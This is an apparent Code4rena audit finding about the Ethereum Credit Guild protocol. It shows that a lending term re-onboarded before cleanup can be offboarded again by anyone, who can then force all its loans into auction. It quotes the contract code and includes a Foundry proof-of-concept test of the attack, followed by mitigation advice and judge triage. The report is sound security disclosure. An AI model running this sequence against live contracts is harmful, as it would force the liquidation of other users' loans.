Anyone can deprecate a guage and call all its loans when it is offboarded by LendingTermOffboarding and reonboarded before cleanup.

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L153-L199

Vulnerability details

Description

Lending terms can be deprecated and added back to the ECG system. This can be done through a voting process on the LendingTermOffboarding contract or by the GAUGE_REMOVE and GAUGE_ADD core roles on the Guild token contract.

LendingTermOffboarding contract also comes with a function called cleanup that is used to revoke the lending term's roles after all its loans have been repaid.

function cleanup(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");
    require(
        LendingTerm(term).issuance() == 0,
        "LendingTermOffboarding: not all loans closed"
    );
    require(
        GuildToken(guildToken).isDeprecatedGauge(term),
        "LendingTermOffboarding: re-onboarded"
    );

    // update protocol config
    core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
    core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

    // unpause psm redemptions
    if (
        --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(false);
    }

    canOffboard[term] = false;
    emit Cleanup(block.timestamp, term);
}

The cleanup function will revert if a term already offboarded is onboarded back before it is called. This is enforced in the third require statement of the function. It also requires canOffboard[term] to be true in the first require statement. The issue is that the offboard function also relies on canOffboard[term] to be true to offboard a loan.

function offboard(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    // update protocol config
    // this will revert if the term has already been offboarded
    // through another mean.
    GuildToken(guildToken).removeGauge(term);

    // pause psm redemptions
    if (
        nOffboardingsInProgress++ == 0 &&
        !SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(true);
    }

    emit Offboard(block.timestamp, term);
}

If a lending term is re-onboarded. before cleanup is called, cleanup can no longer be called to reset canOffboard[term], and anyone can call offboard to deprecate the loan since canOffboard[term] will be true. This will allow the malicious user to call on all the loans in the term and put them up for auction.

It is important to note that onboarding an offboarded term is an expected function of the protocol regardless of whether it is cleaned up or not.

Impact

All the loans in a lending term can be forcefully put up for auction.

Proof of Concept

The POC shows Bob deprecating a gauge offboarded by LendingTermOffboarding but re-onboarded before cleanup could be called. The test can be run in LendingTermOffboarding.t.sol.

The code can be run in LendingTermOffboarding.t.sol.

function testAnyoneCanOffboardLoan() public {
    // prepare
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);
    uint256 snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    vm.stopPrank();

    // gauge is added back by CoreRoles.GAUGE_ADD
    guild.addGauge(1, address(term));

    assertFalse(guild.isDeprecatedGauge(address(term)));
    // Bad boy Bob deprecates gauge
    vm.startPrank(bob);
    offboarder.offboard(address(term));
    assertTrue(guild.isDeprecatedGauge(address(term)));
    // Bad boy Bob closes Alice's loans (the loans were added in setup)
    term.call(aliceLoanId);
    assertEq(auctionHouse.getAuction(aliceLoanId).startTime, block.timestamp);
    vm.stopPrank();
}

Tools Used

Manual Analysis

Recommended Mitigation Steps

The offboard function should update canOffboard[term] to false immediately after offboarding the term. It should also be updated to check if the gauge has already been deprecated and update canOffboard[term] to false before returning.

The cleanup function should be updated to rely on checking if the term to be cleaned up is deprecated and has zero issuance before cleaning it up. This also comes with the added advantage of allowing a loan to be cleaned up even if it wasn't offboarded using the LendingTermOffboarding contract.

Assessed type

Access Control

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1147

[c4-judge]

Trumpero marked the issue as duplicate of #1141

[c4-judge]

Trumpero marked the issue as satisfactory

[c4-judge]

Trumpero changed the severity to 2 (Med Risk)